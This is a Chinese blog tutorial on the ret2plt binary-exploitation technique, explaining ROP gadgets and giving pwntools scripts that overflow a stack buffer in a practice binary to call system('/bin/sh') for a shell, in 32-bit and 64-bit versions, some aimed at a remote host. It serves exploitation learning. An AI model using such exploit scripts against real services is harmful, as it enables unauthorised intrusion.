pwn学习-ret2plt

在之前进行ret2shellcode的学习时,需要NX保护机制是关闭的,但是现在一般情况下,保护机制默认都是开启的,那么该怎么办呢?
下面我们将学习ret2plt技术,够着ROP Chain来执行我们想要的代码

ret2plt

这种技术的目的是从 PLT 中泄漏函数的地址,例如二进制程序中有一个system或其他危险函数的调用,使用危险函数作为返回地址,获得shell

ROP

现在大多数的栈溢出漏洞都是使用ROP(Return Oriented Programming),即返回导向编程。通过栈溢出覆盖返回地址,使其跳转到我们想要执行恶意代码的位置中。
跳转的位置可能是一段本就就已经写好可以执行恶意命令的函数(这些指令通常有我们自己构造),这些一段代码由一段一段的指令组成,我们可能从这里取一个地址,从哪里取一个地址,这些一段一段的指令被我们称为gadget
一段getshell的RoP Chain,可能是构造好的系统调用指令,或者跳转到libc中的某个函数。

gadget

这个单词很形象gadget,小工具,这些小工具组成了我们的getshell指令,通常gadget的表现形式如下:

  • xxx;ret
  • jmp xxx
  • call xxx

通常我们使用ROPgadget命令获取gadget,常见的参数如下:

  • --binary : 指定二进制文件
  • --string : 指定搜索的文本
  • --depth num : rop chain 深度

下面我们会进行实操,二进制文件如下:
链接:https://pan.baidu.com/s/1TKg-hr8dbvp5Th0DH2mdfA
提取码:bwck

32位 - ret2plt

我们需要获取system函数的地址和/bin/sh的地址,获取方法如下

objdump -d ret2plt | grep -i "system" -A 3


获取地址为80483b0,使用gdb中的info function也可以获取

接着获取/bin/sh,使用pwndbgROPgadget获取方式如下
先使用b main断点,然后run运行,接着search /bin/sh

ROPgadget --binary ret2plt --string "/bin/sh"

上述中的数据有些也可以使用pwntools获取,后续我会给两个不同的脚本

from pwn import *

p = process("./ret2plt")
e = ELF("./ret2plt")
p.recvuntil("Leave a message!")

padding = 0x18 + 0x4
system_addr = e.plt['system']
print("system_addr: ",system_addr)

sh_addr = next(e.search(b"/bin/sh"))
print("sh_addr: ",sh_addr)

payload = b"A" * padding + p32(system_addr) + p32(0) + p32(sh_addr)


p.send(payload)
p.interactive()
from pwn import *

p = process("./ret2plt")
# p = remote("192.168.154.176",8888)
p.recvuntil("Leave a message!")

padding = 0x18 + 0x4
system_addr = 0x080483b0
ret = 0
sh_addr = 0x08049614

payload = b"A" * padding + p32(system_addr) + p32(ret) + p32(sh_addr)


p.send(payload)
p.interactive()

上述中先传入system_addr执行system函数,然后传入ret值为0,因为在system_addr运行后需要一个返回地址,然后接着从栈取sh_addr作为参数,从而我们获取一个shell

64位 - ret2plt

脚本如下:

from pwn import *

p = process("./x64_ret2plt")
e = ELF("./x64_ret2plt")
p.recvuntil("Leave a message!")

padding = 0x10 + 0x8

ret = 0x0000000000400501
pop_rdi_ret = 0x0000000000400773
sh_addr = 0x00000000004007a3
system_addr = e.plt['system']
print(system_addr)


payload = b"A" * padding + p64(ret) + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)

# input("attack")
p.send(payload)
p.interactive()
from pwn import *
# context(log_level="debug")

# p = process("./x64_ret2plt")
p = remote("192.168.154.176",8888)
e = ELF("./x64_ret2plt")
p.recvuntil("Leave a message!")

padding = 0x10 + 0x8

ret = 0x0000000000400501
pop_rdi_ret = 0x0000000000400773

# sh_addr = 0x00000000004007a3
sh_addr = next(e.search('/bin/sh'))

system_addr = e.plt['system']
print(system_addr)


payload = b"A" * padding + p64(ret) + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)

# input("attack")
p.send(payload)
p.interactive()

x64的脚本有些不一样,需要在return system_addr前调用ret一次,保证栈平衡补充16个字节,ret和前面一样,使用ROPgadget获取即可

$ ROPgadget --binary ret2plt | grep ret
0x08048749 : adc al, 0x41 ; ret
0x08048457 : adc cl, cl ; repz ret
0x080485ef : adc ebx, dword ptr [edx] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
.... .... ... ... ... ... ...
0x08048459 : repz ret
0x08048362 : ret
0x0804846e : ret 0xeac1
0x08048454 : rol byte ptr [ebx - 0xc36ef3c], 1 ; ret
0x0804848e : rol byte ptr [ebx - 0xc36ef3c], cl ; ret
posted @ 2024-05-31 17:21  Junglezt  阅读(21)  评论(0编辑  收藏  举报